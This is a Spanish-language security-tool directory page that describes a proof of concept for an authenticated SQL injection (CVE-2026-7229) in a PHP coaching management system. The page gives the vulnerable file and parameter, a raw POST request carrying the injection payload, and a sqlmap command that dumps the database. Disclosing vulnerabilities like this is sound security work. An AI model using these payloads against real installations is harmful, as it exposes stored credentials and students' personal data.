Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-7229-SQLI — Prueba de concepto para inyección SQL autenticada en Coaching Management System, que demuestra el volcado de la base de datos mediante el parámetro no saneado complaintreply. | Kitploit
Herramientas/GitHubGitHub/xmyronn/cve-2026-7229-sqli
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónSeguridad de Bases de Datos
GitHubxmyronn/cve-2026-7229-sqli

CVE-2026-7229-SQLI

Prueba de concepto para inyección SQL autenticada en Coaching Management System, que demuestra el volcado de la base de datos mediante el parámetro no saneado complaintreply.

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Inyección SQL Autenticada en Coaching Management System Permite el Volcado de la Base de Datos

Descripción

Existe una vulnerabilidad de Inyección SQL en el Coaching Management System en PHP. El parámetro complaintreply en la funcionalidad de respuesta del administrador no se sanitiza correctamente antes de usarse en consultas SQL. Un atacante autenticado (Administrador) puede inyectar consultas SQL maliciosas, lo que conduce a la extracción completa de la base de datos.

Detalles de la Vulnerabilidad

  • Tipo: Inyección SQL (CWE-89: Neutralización incorrecta de elementos especiales utilizados en un comando SQL)
  • Impacto: Volcado de la base de datos / Divulgación de credenciales
  • Archivo afectado: /cims/modules/admin/reply.php
  • Parámetro afectado: complaintreply
  • Vector de ataque: Remoto, Autenticado (Administrador)
  • Base de datos: MySQL (MariaDB)

Proveedor

code-projects.org

Producto

Coaching Management System en PHP https://code-projects.org/coaching-management-system-in-php-with-source-code/

Versión

Desconocida (Probado en la última versión disponible a abril de 2026)

Prueba de Concepto (Resumen)

  1. El estudiante envía una queja Screenshot 2026-04-10 225755

  2. El administrador abre la queja y accede a la función de respuesta

POST /cims/modules/admin/reply.php?complaintid=18 HTTP/1.1 Host: 192.168.0.9 Content-Type: application/x-www-form-urlencoded

complaintreply=' OR 1=1-- -&submit=submit

Screenshot 2026-04-10 225808

  1. Interceptar la solicitud mediante Burp Suite Screenshot 2026-04-10 225821

  2. Inyectar el payload:

    root@kitploit:~
    '
Screenshot 2026-04-10 225844
root@kitploit:~
Se observó un error SQL

7. Confirmar la inyección:

root@kitploit:~
' OR 1=1-- -
Screenshot 2026-04-10 225900

  1. Volcar la base de datos usando:

    root@kitploit:~
    sqlmap -r sqli.txt --dump
Screenshot 2026-04-10 235219

Inyección confirmada mediante errores, basada en booleanos y explotación automatizada con sqlmap

Impacto

  • Extracción completa de la base de datos posible
  • Credenciales almacenadas en texto plano expuestas
  • Compromiso total de los datos de la aplicación
  • Omisión de autenticación y escalada de privilegios mediante la extracción de credenciales
  • Volcado completo de la base de datos logrado, incluida la tabla de usuarios (credenciales), PII de estudiantes, registros de profesores e historial de quejas.

Severidad: CRÍTICA

Descargar herramienta